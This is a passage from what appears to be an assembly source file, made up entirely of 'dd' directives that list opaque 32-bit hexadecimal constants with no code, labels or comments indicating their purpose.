0A65EC568h, 33CC2171h dd 2135D808h, 7A64346Eh, 0CF692370h, 346EE2B0h, 0BC1142B1h dd 0A735F910h, 2C5316E8h, 90ADBE4Ah, 88C120B4h, 0A721085Dh dd 4DE98D34h, 0C5481D2Bh, 0DC66125Eh, 506C9DC2h, 0C4D667BBh dd 6D87508h, 5D38DA5Dh, 0DD215ADCh, 2D74DE01h, 0C5A479E8h dd 0E6C10714h, 156FA608h, 65210343h, 74365B64h, 0A2CE04Ch dd 0C416EB46h, 71825EE2h, 0E0B26CB2h, 0CCFE8B6Ch, 182F8B48h dd 285F86E4h, 50C5BC67h, 68D006EBh, 0C3BA421Bh, 5E08E8EAh dd 23E53E41h, 0A0432CE8h, 4431B4E0h, 0ED5E8DC8h, 0CBB17C3Ah dd 0F0CDE174h, 0EB02F500h, 21205C53h, 0F42491C4h, 993C4FC2h dd 40CBC20h, 0CB251E85h, 0F1E5348Bh, 7D1F62A6h, 0EF197AFh dd 0E11D68F5h, 0F6E2F410h, 0CE0E386h, 0CB789C41h, 0CCFA3754h dd 0A020F809h, 0A440E0B8h, 0A60D87A5h, 0DA61488Dh, 9DCD9562h dd 0ED24BBBDh, 80D92466h, 9A8E1E90h, 21D8CE36h, 0F8908173h dd 7742D434h, 5672B833h, 58656F52h, 45DACC34h, 170D884Dh dd 0D77233ECh, 482E3960h, 118FDE45h, 0C8D85825h, 9E2EC8BCh dd 0D5B6A73Ch, 0D720AE47h, 2097D043h, 0BB860F04h, 0D86AFD4Fh dd 9C22B528h, 0FDC4C2DBh, 11444614h, 5810FBC0h, 32C68433h dd 0F183CA64h, 101B0B56h, 5BB18FEEh, 2B4E0F30h, 0FD4776E4h dd 8432F010h, 0BC2CFBC0h, 7E423746h, 0A46D8ACh, 0DD7070C8h dd 19A7872Fh, 40503EDh dd 0D256F057h, 15E65C1Ah, 6893EC62h, 0C8855204h, 48705824h dd 8006F73Ch, 1101382Bh, 44C2C808h, 0A94438CCh, 0C4149322h dd 85A9407Ch, 400375F6h, 0F77EB02h, 93FC45B7h, 0FA1128D1h dd 21F84205h, 8AF610F0h, 2818EAF2h, 45E85671h, 0AD0C9409h dd 6728CEE5h, 30C98BDh, 75B2FD75h, 424FCBDh, 0B2C40A55h dd 146A0E36h, 34D89018h, 8E925394h, 0C0D6914h, 0A009E170h dd 12332440h, 0CCC95EC0h, 842DC27h, 24A58381h, 725EB3F7h dd 0FC65C925h, 47C054C2h, 5DBF924h, 245B4638h, 2833A449h dd 0ABF353C5h, 2FDCFF09h, 0B84DC494h, 1A8469C4h, 4420D796h dd 84A4BBF0h, 1A086A32h, 11C04A60h, 388A3B23h, 0F2287574h dd 0A3A0505Ch, 3CCD244Eh, 11C744DEh, 10423C78h, 184F3081h dd 0B58DD5C7h, 1D8481A4h, 92029682h, 8D8150FCh, 72FE68E8h dd 53527B74h, 636A323Bh, 0A4C410CAh, 532B8984h, 2BB51542h dd 4C74485h, 0A5349CDAh, 0C4E8BB5Ah, 0F0BF2A0Fh, 4F78E6ECh dd 20CD08FCh, 79E48482h, 1145C27Bh, 0A6C661Ch, 0BC831F18h dd 0D1EB1A7Eh, 8015D540h, 107D5B0Ah, 91BD84C7h, 0DFC2114h dd 0E0D74E9h, 0C01E242Ch, 2B2E7D0Ah, 490802F9h, 143C478Bh dd 35110321h, 4211043h, 8D232511h, 5A308B0Dh, 0C7149D30h dd 9208323h, 74E81338h, 803CE991h, 0D755908h, 6C05A480h dd 0F2662723h, 0B93D71C4h, 9B257644h, 0B150527Bh, 4A246068h dd 7E4161EBh, 35850F0Dh, 20541CDBh, 3413E38Ah, 7B2BA8D8h dd 0AC4C2243h, 499E9A50h, 0D5EC932Eh, 37840AEDh, 22102F2Fh dd 7EBC92Fh, 7493FE35h, 30A3A14h, 27A0FA0h, 26040540h dd 89C81A75h, 9C2F07EBh, 83D4C0AEh, 3591E8A0h, 83188CB1h dd 7481142Ah, 3BCC287Dh, 8C0F0890h, 831FFE33h, 8414FC58h dd 0C47D29Ah, 0E80B28DCh, 512C2936h, 61B499C4h, 8B02B4B8h dd 2FB3E822h, 88AF9F05h, 0B324A8A5h, 0F24CAA20h, 89C658B6h dd 0B20B8840h, 0A6B98424h, 3342D582h, 180756F6h, 2E87D456h dd 46401C97h, 4CBA6456h, 0E60445E3h, 0B27B62E8h, 4A56CBFCh dd 9EB6500Ch, 0F88B610Fh, 12FC5483h, 844FE391h, 105EFD4Ch dd 2DB68446h, 7CD87561h, 401A42DCh, 49DCD4E8h, 4CDC99EFh dd 6A82EFEh, 0C5F5D4EFh, 0DCF48AE4h, 4354F0D0h, 2819D42Bh dd 6913B8D0h, 5E4034C0h, 16D4B889h, 7C129F44h, 3D80C449h dd 7E648A99h, 380C08D1h, 5CED085h, 1266918Dh, 73995759h dd 2ACE8611h, 88857614h, 2CE04524h, 0F80FE13Eh, 2131046Ah dd 0DC988824h, 0F0832955h, 218445B8h, 475E2CB5h, 89E3844Bh dd 85874B78h, 0C9A8BB53h, 10F4F7E6h, 540D482Fh, 64A4CBBCh dd 1C8A1086h, 2D6C1B91h, 86E0C8F5h, 3B55BD80h, 0C5750603h dd 6458858Bh, 496D1E13h, 2DD85018h, 0B86BB375h, 0A8681814h dd 31CFC5B0h, 9C8526A9h, 0C3968233h, 505260D0h, 18CA451Fh dd 474D121Ah, 0AA182691h, 0C8E33ABDh, 6AE925F8h, 6241AA6h dd 0C40F60CFh, 0A8C490F4h, 548C9726h, 8A0E8BE0h, 7E8B7F04h dd 6BBBC55h, 988534FFh, 4525AE0Fh, 7EB37660h, 3B35304Eh dd 21112A7Bh, 88B9B104h, 0AB76E911h, 68857C35h, 5C744518h dd 19A85722h, 0B55B1210h, 3C98858h, 4F0961D9h, 28C91082h dd 5834A2E4h, 42426991h, 0D23E6231h, 2E6FDB2h, 4C1B2B47h dd 0EC88431Ah, 0DC165010h, 7B4B211h, 4F98A166h, 0E011109Ah dd 1203C4Ch, 1EF82CB5h, 3D658AE4h, 0C645A428h, 91EA95A5h dd 5836CB2Dh, 228AB0BAh, 91FA5CB4h, 0D72604CFh, 0BE3BEC31h dd 0D5A38BCh, 3D0190BBh, 0C328F041h, 0A1244424h, 2D081C05h dd 2446AB20h, 42075098h, 1856FE5Ch, 112FA542h, 62104924h dd 321A1088h, 10D2593Bh, 3D8BA661h, 0D7A617F0h, 4B7478E5h dd 0A3C99468h, 90B465BAh, 865F4638h, 0D4841043h, 0A7383D31h dd 4DC4245h, 0EBC01A32h, 0B5343E22h, 1164C39Ch, 0F431CCF6h dd 2A01B013h, 7FC8A512h, 0ED34F7B8h, 910954E8h, 511026A1h dd 0F231AADFh, 5313D214h, 0C67499Ah, 0C8F2B758h, 23046836h dd 296A24E0h, 0CB006B63h, 0C8054C8Ah, 45A4801Fh, 1EB8B9A4h dd 66388C88h, 4F64011h, 6AE77C28h, 2D69960h, 31824BB9h dd 57DA2A13h, 1512C86Fh, 0C00315AAh, 0FF4570ABh, 0F78A9768h dd 3F1C984Dh, 682A096Ah, 4522FE7h, 848D02D0h, 2FFF7F45h dd 3129D6C5h, 130ED3Dh, 0B8201A04h, 88C03F02h, 8124FFB6h dd 2253852Ah, 0CB88B442h, 20443CB6h, 0FE410904h, 327D24CEh dd 0CCFF2A92h, 29B2CD6h, 3C99358Eh, 40564A38h, 60CE4FE1h dd 824888B0h, 0BDE6DA14h, 0D354C84Fh, 16DD22F7h, 210DACBFh dd 89E340E3h, 4A685792h, 4A18CAAAh, 0BBF6286h, 407E0B24h dd 6C988D9Ah, 2446B5D8h, 0CCA0EB48h, 2DBE8B25h, 292547D8h dd 8591513Ah, 0D8333437h, 914B0C11h, 0EE5826h, 0A450FC68h dd 28F929EBh, 665C1113h, 811FEA77h, 72BB4080h, 0EE6810C6h dd 9217D3CAh, 8C714510h, 22882505h, 0C43BB874h, 7CC73B40h dd 0A51B80E5h, 2127D358h, 0BE05590Eh, 0B5211C52h, 818D7650h dd 0CE84316Ah, 0C8C02E29h, 540F2097h, 50185122h, 50D0D1EBh dd 0E3F02807h, 91DC30A3h, 10BE4707h, 90C42F7Ch, 5A4E33F1h dd 127D1933h, 15175665h, 0F8AC36C4h, 0C4345E88h, 98D8A135h dd 8530895Dh, 2968299Ch, 5C57A00Eh, 206FA4D3h, 0F1F27B3h dd 5B6445BEh, 8B04C040h, 1CE79935h, 71FA2C6Ah, 26F5BDC4h dd 744B5D6h, 0D4C1E904h, 0EC0BC2F9h, 640BB21h, 193ED9C2h dd 5853A9C0h, 24DCD729h, 0F853689Ch, 0B13A2B50h, 284BC674h dd 13A06886h, 2B4C58CAh, 940B9BD1h, 2DAFB2F2h, 303A59BCh dd 8A944ED1h, 0CB27558Bh, 22B88237h, 367E1B5Ah, 223B7B4Fh dd 6A243D30h, 88C95570h, 2A902BE8h, 44C894C4h, 98310A5Eh dd 89120897h, 94B53C68h, 3BA23114h, 2E414F10h, 862226FCh dd 226D3C29h, 10FC35ADh, 20E6966h, 0E2CAEE8Eh, 0DC8DD81Dh dd 7A08980Fh, 49587FEBh, 0AC996A7Ch, 8AA6084Dh, 0DD88D2BAh dd 0D3D86284h, 89268E10h, 45A80C90h, 2EA5EEDBh, 24843278h dd 0E0533760h, 14B3BB8Ah, 8B0CF850h, 688863A8h, 6B94B92Ch dd 4B826578h, 2F164B7Ch, 7AF07B84h, 81FA406Eh, 8415C450h dd 950FC01Ch, 125357EEh, 8C085850h, 5B84FFA2h, 7DFBC1E8h dd 25A2D8F8h, 0F473A594h, 0A8E2912Dh, 0D86D845Fh, 64A6AA2h dd 38EAA562h, 0FE4083F0h, 0CA08975h, 0F5689E8h, 8B268A22h dd 6495D1Dh, 0EA1989D8h, 0C7494D70h, 3BD3FF18h, 57267174h dd 0FC214DBFh, 8540F790h, 45859856h, 50DC04ECh, 0E07574ECh dd 6816944Ah, 6A448A2Dh, 1229ED29h, 0B011DE25h, 8B1F0F1Ah dd 0A328545Dh, 0E24C4853h, 19EC607Ch, 7430E883h, 44480E2Dh dd 6B9A6CCAh, 244EEB46h, 302B36C5h, 0C3B88921h, 0E9227514h dd 24395334h, 67226225h, 289ED41Eh, 0FC24F82Fh, 24B8A353h dd 14384583h, 2D7F3B74h, 0B87D91E8h, 1C59322Ah, 1FF80825h dd 0B619A670h, 5F811268h, 0BFA92514h, 0AC10F0ABh, 73409080h dd 3B0495FFh, 52A38D40h, 0F87C8D9Ah, 0C70F7A21h, 0CB6C4C84h dd 8A85A787h, 30C041Eh, 0D024B48Dh, 21592B29h, 7209BD9Bh dd 41D8623Ch, 0F70A0CBCh, 75DB85C0h, 1A8CBE04h, 0F976B503h dd 46FA5451h, 0D2BE5CFCh, 7D8DE860h, 0A291B9F4h, 0BE02A518h dd 0BD10A038h, 3FADBCACh, 93CA663Fh, 27DCB2C6h, 88A042CEh dd 1DC5D4B1h, 0DC858945h dd 13F16FA9h, 0C56DDD1Eh, 0E7DC1730h, 6A5012C4h, 522078E5h dd 13869C57h, 1B8D5064h, 0FC902296h, 0B92B7310h, 10F415AAh dd 8B8563C8h, 0F250C75h, 468948C0h, 84B83514h, 1FB612D1h dd 47E0C08h, 1C811006h, 0A73C5825h, 0C3BB0582h, 4774F3A7h dd 0A75733Bh, 5657C072h, 9741B18h, 0DE6AA726h, 0B302EB8Eh dd 0E309DF3Dh, 0DD42E20Eh, 29F334B4h, 2CD904E2h, 0E3AC59E4h dd 0D721E285h, 33E2E7A1h, 56E4B1F6h, 88E29DC6h, 81F12A91h dd 0C7E921A7h, 38F3650Bh, 1D24A436h, 942D2DB9h, 75095DE4h dd 71405FE2h, 4B8866Bh, 0E8344C30h, 0BA096B1Dh, 0BEC2E868h dd 0DFFFDAA7h, 0C1E85D69h, 4E79C26Fh, 0A4CF273Dh, 0E84210ECh dd 0FFD41AB4h, 0C885C3B2h, 80020866h, 5420BB53h, 306A3255h dd 0B959DF4Dh, 64223109h, 0E02C2260h, 41C29040h, 6A420921h dd 0E0D3EF44h, 477C0E23h, 0D3D7B730h, 0D18B3EEBh, 468D3DD0h dd 0F076017Ch, 23414F21h, 35844181h, 0CC42522Ch, 3E741581h dd 8BB07430h, 0FD99C62Ch, 0D8386327h, 75750CFAh, 0CCBD35B2h dd 12B409ADh, 356C646h, 7D26509h, 9751230h, 6804046Ah dd 59425634h, 0BA163013h, 78542054h, 0BB3D98Ah, 6C9EFFCh dd 4E2F2D03h, 2D5FE523h, 65266A33h, 0CC2831F3h, 4C561354h dd 55DF2495h, 506C104Ch, 8B3840F3h, 8370BEE1h, 683C6A71h dd 0AE4F40E0h, 0EFFC213Dh, 830A1E11h, 5E83CC7h, 2C552068h dd 0C8A0717h, 0B3032BEh, 0D1C22B99h, 0B260D308h, 8429640Ch dd 0B5A004A7h, 30440A8Dh, 0B20A89F4h, 0F5160C20h, 0BD857C0Ch dd 6F802143h, 5BB0C850h, 16B432D4h, 85CC0CF5h, 881143BDh dd 770B9DF1h, 0E090801h, 0E661E889h, 5CDC9882h, 533F5D56h dd 1C1FFA1Ah, 0E2CA1BB2h, 0F4200084h, 4CBBC4F7h, 6238890Fh dd 6E5F5BC3h, 8813F850h, 818027CDh, 0BBA870BDh, 86F72620h dd 134E850Fh, 24298BB7h, 0DDF10C9Ah, 597E092Bh, 470AF471h dd 0C171702h, 680994F6h, 5E10564Ch, 56B61F14h, 1620DB65h dd 0B7806853h, 37C7EE13h, 7813AD01h, 781512C4h, 0FC8934ACh dd 7B337D43h, 0E47BA575h, 0CBF9E946h, 1C026A31h, 0B935F5DAh dd 4ED34671h, 0DB9F2564h, 0FD05104Eh, 0C7A6C888h, 74F88A30h dd 0A0BF1862h, 0E8577286h, 8BB67054h, 0AFA3F078h, 781F0DD1h dd 580ED358h, 0C127AABFh, 0FD005096h, 1868486Ah, 0C62FBC51h dd 8019FD74h, 18F2027Eh, 3AEC449Bh, 6F02832h, 701AA4F8h dd 215F4C53h, 9BDAD586h, 590B992Dh, 6C1DA4C6h, 0E912AF51h dd 0A09EA54Eh, 188956B6h, 0B7571668h, 5BA05686h, 339A76CAh dd 9BD204FAh, 62833292h, 8532821Eh, 0E9E4A226h, 544E4610h dd 2FE8DF0Ch, 0EDE8F4EEh, 0FE638359h, 84F8843Bh, 29553714h dd 911A6D6Fh, 4B4BDF32h, 0A222DC76h, 585E1E2Fh, 354BD0EFh dd 0A439A869h, 0C2DC1FCh, 539550C5h, 0CB563FA7h, 0C42A8F2Ah dd 43E6D58Dh, 0B407F3CBh, 440525F8h, 0AC78EBAEh, 0E6C56B7Bh dd 0A8C4FE30h, 903757Dh, 5359EB56h, 2F103D3Bh, 74C2C5A4h dd 50E4BEE9h, 2CE1C0D4h, 6EA544ECh, 0D6534A1Bh, 28859E9Eh dd 0EBFE5920h, 9A281857h, 111D012Bh, 0E216FE8h, 3315282Ah dd 79EBC005h, 11385EE8h, 216FD7F6h, 0A57B0515h, 132768D8h dd 94887368h, 8046E415h, 0DE7C0632h, 3943EB0Ah, 7541DB9Dh dd 2D49531Dh, 44E1412Dh, 85A804F5h, 0DC134946h, 59449C79h dd 6B5C429Ch, 350331E9h, 0B10BB80h, 0E80A076Ch, 898D0848h dd 0E44A8CA3h, 0A0922251h, 0F0C8A3B3h, 791CA488h, 7B580DF0h dd 0A16628F4h, 0F9B2B538h, 0F2E4A354h, 0D882E0E9h, 7F50FB83h dd 0FB22E34Fh, 8B5324F0h, 0CD2C6470h, 60C8A0ACh, 34265359h dd 56A0884Ah, 28D548E3h, 4A596940h, 50ABD0BFh, 604ABC68h dd 0FE52025Dh, 0FE85F91h, 188C0328h, 0A068354Dh, 0FC082CFDh dd 284EB768h, 11208AD3h, 2A10491Ch, 235D7744h, 53116062h dd 4489E623h, 1972BB59h, 100CA444h, 0F9191087h, 1EBD222Ah dd 0BBD21512h, 0A392E7C9h, 42B488B9h, 91372350h, 1AB1C4C4h dd 0BB56DB62h, 9C88224Fh, 0AF267445h, 79FC4687h, 0E810BA5Bh dd 58424C88h, 1B59105Bh, 70C44084h, 0FC272247h, 0DA7C8819h dd 951B3A10h, 4AA4BDB3h, 478932AFh, 90BD5922h, 4019CA7Bh dd 0A75230C4h, 624F88BDh, 22991AF7h, 0BDA9140Eh, 0D51879E2h dd 8C11841Ah, 54C743B1h, 0E454A8C5h, 59AD8958h, 0C8DB20DEh dd 54FD6A8Ah, 0F3C59BCh, 0E01A2711h, 835F9880h, 0DFEC9031h dd 6608EB20h, 4AA0BE88h, 7B01D157h, 43300C21h, 1A4D12EBh dd 5425ACB3h, 3A89BF65h, 6AD2591Ah, 0E88830B5h, 0B3951A29h dd 3B219DC1h, 120CEE64h, 0C1CB1A4Ah, 7AA43C22h, 9577B746h dd 2BE6C099h, 384CB262h, 54379D88h, 556643D3h, 73E8130Dh dd 241DC819h, 64BEB195h, 0EC433CFEh, 2D194985h, 0C20DDBDh dd 12F1438Ch, 0BEB61990h, 0B220A710h, 197618A8h, 8E5F9888h dd 58230EF3h, 0C218F588h, 0FB59BD8Bh, 53C449A5h, 63C69D2Bh dd 0BCA4D2B6h, 40BE88A8h, 0C4E5065Ch, 2A69F8BCh, 5BC0B304h dd 0D08A0EA6h, 0AF54FA24h, 9E5C3062h, 0A5A94227h, 95AAE128h dd 84CABB1h, 105D42F0h, 0FC8418AAh, 86B438B7h, 10189223h dd 5E608424h, 2BA47F22h, 0E2ABAC90h, 18671894h, 8A589085h dd 51912ED8h, 22AB844Ah, 0AA56536Dh, 972A468h, 8503D28Ch dd 0A651C9CFh, 56882490h, 0D8215844h, 18C1095Ch, 9087EC08h dd 1750DCD4h, 5811A4B2h, 50D2D84Ch, 98247F17h, 0E04F200Fh dd 0BCC54884h, 857C0CF8h, 0A3B7957Ch, 0CE6554E4h, 28310C5h dd 0ECB28C4Ah, 27A0B484h, 0C727035Bh, 25B42E57h, 0DB25B245h dd 66A0921h, 9C6B57F9h, 0CA9F4FB4h, 0F2B45C54h, 0A9532989h dd 2E593808h, 33727142h, 21572043h, 5311F7ACh, 0AA595789h dd 0A22CC895h, 10279546h, 5A7884DEh, 49851F6Ch, 0F047AE50h dd 99110D23h, 0AD675725h, 0C82A9564h, 1CFCF973h, 43C522ECh dd 17FA1DFDh, 44EDD808h, 727331ECh, 24AD951Fh, 9E21A751h dd 0DB85C762h, 4E86A16Dh, 1836EFA8h, 1C4AFF37h, 208F326Ah dd 0FE12241Ch, 901252FEh, 273AC54h, 83C18BB0h, 0F2F60460h dd 8D533DBDh, 0C60C245Ch, 0E8F10E8Eh, 0F5E81DABh, 3C908559h dd 34C71C5Eh, 14EEE8E1h, 884CFA04h, 5C431620h, 89C38115h dd 3E98045Eh, 9BA8C68Bh, 0A9B508C2h, 338A7C8Eh, 4DC1D972h dd 8D828614h, 504E083Ch, 80F04215h, 2E7D74F6h, 0AC92C182h dd 0F9C285AFh, 0C1F9D7FAh, 140C4315h, 0C603671Ah, 0E8194010h dd 0E333F9EFh, 0A87B8918h, 8B205F33h, 0C25D1AC3h, 880F6810h dd 99A9066Ah, 857A4007h, 6683599Bh, 0A26A74Eh, 3533A85Eh dd 0F2469B57h, 8264DE3Dh, 0DB331B7Dh, 0F7FE440h, 8DC39D0Fh dd 301675Ch, 579B5A6Ch, 234BBC1Ch, 53685249h, 2945C52Dh dd 0C20E6656h, 0A75E3FBh, 882C078Ah, 0A1478D07h, 0DDC615EBh dd 0C1478382h, 418808F8h, 2D9161Ch, 0FF032E87h, 366C9E76h dd 32A45796h, 0F89B16DEh, 0F30AE5ABh, 0B01EF459h, 71E2CC65h dd 1588A451h, 2DF84D8Dh, 98AA095Bh, 0F1E8A660h, 29DA6A92h dd 0E1EDA876h, 8A40FC0Ch, 9590AD0Bh, 8F42153Ch, 6C139A10h dd 5575D6FAh, 0C9788FCh, 130049F8h, 0CE8B5B18h, 3E93C2F5h dd 0E4409337h, 2228962Ah, 217AAFD0h, 0A04D6AC9h, 2350A27Ch dd 6779E87Fh, 78C77343h, 689F841h, 66717DB6h, 41A064D5h dd 81BD442Fh, 3D1AA770h dd 1B4E6C72h, 0C3B3FA0Ch, 4C25EC9h, 1E1A1185h, 5B23A236h dd 0E834618Ch, 0D1939994h, 0D5C36828h, 644861E3h, 910E0242h dd 8A0B5C6Bh, 0C4569C3h, 0B3A46048h, 572A077Fh, 0B6D36BA9h dd 38D514B2h, 26E8B81Fh, 0A7BF9FF9h, 7D39E080h, 8F270F10h dd 1B9FA23h, 438D185Dh, 0F8C73B08h, 1DCC1587h, 0DBD04A56h dd 103C4BCEh, 9E5421E0h, 0DF4C10B0h, 9E4421FCh, 0CF3C50C0h dd 673408C8h, 522C84D8h, 45DCE8A0h, 0CD7F9660h, 0FA036D93h dd 0BE0F99E4h, 10649F23h, 0FC0F733Ch, 809BE0Eh, 56841DF3h dd 0BBF426Ah, 0A3661218h, 886EADFh, 3373D068h, 535D88E8h dd 7CB52149h, 0B88A6994h, 21B2B509h, 21FFFC2Bh, 646C3139h dd 0E2A858FEh, 0FD706888h, 0AD056F44h, 0B562FE83h, 215625CDh dd 89446A2Ah, 73119F58h, 0DD112079h, 10688D40h, 0DBD37CA1h dd 883E5E1Dh, 73DBAC1Eh, 521C720Ch, 0EC1416FEh, 43A244FCh dd 68635B04h, 0F86B5F8Dh, 0F88B18A2h, 541E36CCh, 0D21044D5h dd 316FB917h, 7D2B1DC7h, 0F8713404h, 0B449738Ah, 2932CA48h dd 0C020EC90h, 64EF1CC8h, 0B70934B4h, 0E96439E1h, 56692C4Ch dd 613CCFFCh, 81E42650h, 0F20A04C8h, 0D49534BBh, 0AD52500Eh dd 0DC40EA9h, 729F7492h, 0C64EA79Eh, 78FC2724h, 5A8A1FC7h dd 0D53C1745h, 10868041h, 0D8631993h, 8328468h, 8622DC4Eh dd 0F20251FCh, 1E94F30Dh, 0CCCD87F1h, 10CA417h, 8114572h dd 0F047FBBCh, 318B1B87h, 86E21392h, 0D927DC2Eh, 0D064C0Ch dd 0D9AF3C90h, 118A8E20h, 0B2596068h, 59A5CC56h, 9F608DF4h dd 41A9DB46h, 0C8518414h, 5C688A63h, 0A11AB22Bh, 56B52BAEh dd 0E8B04667h, 743259C5h, 50682238h, 1B765699h, 2E918523h dd 4C440DC8h, 4B1AC234h, 22DC56B3h, 0EA2B985Ah, 2E5E81FAh dd 192E3996h, 0F895B5Fh, 448D4BCh, 0F6C9C79Ch, 2C7EA6F2h dd 1650250Eh, 0E9E6574Fh, 6E40A54Bh, 9C6ADDD8h, 461630D1h dd 89EA4701h, 21F8B537h, 161BBD65h, 12FDB218h, 63F82D09h dd 0BB2C0A45h, 0C362C44Fh, 24B57581h, 0E104EE39h, 56AFC568h dd 33BD08AEh, 15B1016h, 0C0D1306h, 62498D56h, 752B9A91h dd 18D43F3Ah, 5A040BB2h, 0EF8396E1h, 0FBAD74ABh, 3D34A154h dd 40A61A23h, 0D8F7823Fh, 0B940C01Bh, 373A04C4h, 0A9A3B93Bh dd 0BBCD415Fh, 16CFAD44h, 225A46B6h, 5772B161h, 5F884D94h dd 2F053C0Eh, 0B4617868h, 0DA2B2ECh, 3146F800h, 21D3A868h dd 7E0686ECh, 299EE82Fh, 5E3663B0h, 1F21DB3Bh, 28E85339h dd 3060425h, 0A19068DFh, 7E1E91A5h, 9F856E7Bh, 300BF0ABh dd 3675F6E4h, 481F22B5h, 32E9A084h, 7041EBDBh, 8C015EBFh dd 0FE5BFC7Eh, 44960A8Dh, 0D271AC95h, 0A97E50A2h, 74011C2Eh dd 22255AD2h, 1032C270h, 988501B3h, 59BC42C5h, 0BD73C38Ah dd 209A839Ch, 0A175C56h, 0A57161B8h, 91B5EA78h, 54EE48BBh dd 0A4597EBh, 9140206Bh, 0B6909330h, 247D8006h, 0CA3982E0h dd 0D4E85837h, 0B6DC20ABh, 0A9F54A07h, 0E0C1E550h, 0D6039D03h dd 0DC986DDFh, 125D480Dh, 0ADD42DAFh, 15093132h, 55DD4E8Ch dd 0C88B4035h, 55E8241Ch, 0C0F89797h, 7CD3E359h, 53AB6A3Ah dd 63B8867Dh, 6A226D0Bh, 2CEC2D1Ch, 8961AFE4h, 13458AF6h dd 0C81DA528h, 0E4AEC88h, 25120644h, 3914AEBAh, 0FC828A94h dd 0D4453980h, 9A0A7359h, 25689A69h, 0C11305A0h, 0F13667Ah dd 74D21286h, 1EBF8C5Dh, 5721D03h, 0EB5B066Ah, 2481713h dd 0E9E97B53h, 1159EF3h, 32450395h, 8EDC5AD8h, 9740D09Ah dd 47558E50h, 7695078Bh, 3B280F19h, 0E416B9DFh, 0B6B11876h dd 0D1D4CBCDh, 0F07D018Dh, 0F302E9C1h, 83CAFCA5h, 0A803E13Bh dd 8A589CA4h, 5573732Dh, 2F9C003h, 983FE180h, 0FE8803E2h dd 0F124CCECh, 0F80041Eh, 0C5D3C01h, 299E2BCh, 90F140CAh dd 0F220ED2Eh, 0F460662h, 3A928D29h, 38F6F499h, 45320602h dd 0E579A4EEh, 76EF1630h, 4501281Fh, 44BE0AB8h, 82CBEC35h dd 6208808Ah, 16A4268h, 7E96E87Ch, 873B460Bh, 0B62A72E2h dd 2548BB3Eh, 6AF92218h, 4BAF5C13h, 1A34D813h, 0F2524386h dd 395EE706h, 12731B4Ch, 3DDB0A2Bh, 0E83B7067h, 0FE4E35CCh dd 96D396F1h, 53422487h, 4E9754F1h, 1D8C826h, 0E80688CEh dd 54536FF8h, 581FCE1Ah, 18DA288h, 80E05D47h, 0A153AD24h dd 3DA6DA3Dh, 88F416D7h, 89386458h, 9F036A0Dh, 0CB848090h dd 2510221Ah, 6444B968h, 938DE484h, 0FA899257h, 23384E0Fh dd 7A161C8Eh, 80C1C6ECh, 36CD748Dh, 5A918230h, 14BBCC13h dd 0D6FB3B26h, 123C4466h, 4158B8E8h, 75CB3B71h, 39C8F002h dd 74185D0Dh, 51D46803h, 0D8687050h, 1E8B22Bh, 14467F94h dd 61A399C9h, 4274C63Bh, 0D263023Bh, 0A1F33E32h, 11AC9259h dd 2DFDE4EAh, 0C683AD53h, 850E82FEh, 0BB621F12h, 1EF2625Fh dd 88D799BBh, 80050620h, 0E0D4E0A5h, 8A3ADEC9h, 23E131BDh dd 2D6E8F68h, 0C22104FBh, 0F3FA631Eh, 1F0ADF21h, 0C14B670Ch dd 9BD1F9F7h, 18576162h, 27846488h, 1E4EFC6Fh, 0F49E819h dd 242E0560h, 46472605h, 2FC8644Fh, 62E9F1F8h, 0F7845041h dd 0A456596Fh, 0FCAD2030h, 33EF79E5h, 0E2893F60h, 0F00E75F4h dd 5E10FE6Eh, 69EDBB35h, 0CFB78C97h, 7D17A6ACh, 0E7CDABE6h dd 7CA5A9DEh, 0D7766B98h, 713A7C72h, 385EF7E8h, 8B81E478h dd 8014ACCDh, 8A407550h, 0FC35185h, 0F48BC140h, 0EE655889h dd 960D9970h, 790CB6EBh, 5C110E26h, 1524176Dh, 0C7E8A0Dh dd 0A9F8AEB9h, 0C2F05838h, 0D635EB1Ch, 98B665Dh, 1D0E752Bh dd 16EBA615h, 77B218EBh, 611275C5h, 73FAAD1Ah, 0B60F0B27h dd 0B887ECF0h, 680B0942h, 1F5B03E8h, 0F44513BBh, 2C2D91Ch dd 0DBFA8C0Fh, 608F1FAFh, 497448C5h, 86E28335h, 1783135Eh dd 98285C2h, 6F187C4Ch, 6597F9E0h, 0DDA08CEh, 18311121h dd 0B77C65BCh, 5CC323EDh, 344C4CF3h, 9896906h, 832C1C68h dd 2B57013Ch, 703B0846h, 50977B7h, 27BBBAE8h, 1DE7DE5h dd 7E8B3576h, 31141DAh, 90FC16A0h, 1522564h, 214B4644h dd 0F18875C5h, 0B6BFBC50h, 6C7BD064h, 18A20141h, 5C8961D5h dd 52072480h, 54D85D61h, 0C915A8Dh, 40BD6021h, 8F78E33h dd 1F0CE1F8h, 92CC2FB2h, 0A004AA08h, 0AD74E85Fh, 0D4C46B58h dd 9258EEF9h, 4339F91Dh, 33B273D8h, 145BDABDh, 8416E743h dd 0E3132BF0h, 0D73800Bh, 5E340A40h, 0C2FAF11Ah, 0CF8705D5h dd 0BF5018C4h, 0EEDF7A61h, 0EB197A18h, 5C56907Ch, 0F01C6B76h dd 0F170F575h, 6305DD76h, 78800180h, 2973FEFFh, 63B81C21h dd 1B1C82F0h, 7F47893Eh, 37084B3Bh, 926ACA4Fh, 0FE24733Bh dd 391AE240h, 385B0552h, 7A2BC062h, 31405201h, 56098D91h dd 8880C103h, 0A8E80477h, 479F0754h, 12FDCCA6h, 17C70406h dd 20F84CC7h, 247C3BC3h, 0FF0A27C9h, 0AC776FDh, 60F4BA40h dd 0C23BD233h, 8A070F90h, 0CA3AFF48h, 43801872h, 3B13E0CEh dd 182990FAh, 24FE4C75h, 506BE852h, 47AFC1DDh, 17752680h dd 10245438h, 63237459h, 1E7EB3Ah, 5689E867h, 0ED108808h dd 171753E1h, 0EE0C9226h, 3BFC1F18h, 187328C7h, 16E83023h dd 3905EB75h, 730C7E12h, 5EDBD133h, 53BA551Fh, 5F848028h dd 748C4604h, 0DABEFD1Eh, 8A481700h, 0FCC98408h, 47CA009h dd 95EBF6FEh, 16E8EA0Eh, 4108A353h, 0A278BA09h, 1036BE46h dd 0F1170EBAh, 56CC32E8h dd 0B244B71Ah, 0E8049ABCh, 0C18B06B3h, 2654DBDAh, 440C4432h dd 117742BBh, 4550BB78h, 1005ED0Ah, 5C009923h, 0C62B1424h dd 732CC33Bh, 8503EF02h, 0B13276DBh, 0E9FF044Fh, 0C33ACE03h dd 51A01922h, 156D90E8h, 0A7896C59h, 0CA11F32Bh, 7CE63156h dd 2A0AC90Bh, 12D35B5Eh, 918CB8CFh, 8152E9Dh, 7D8B880Ch dd 1FCF70C4h, 0E8316A8Dh, 0ECBDC06Ah, 13A20376h, 478D35E0h dd 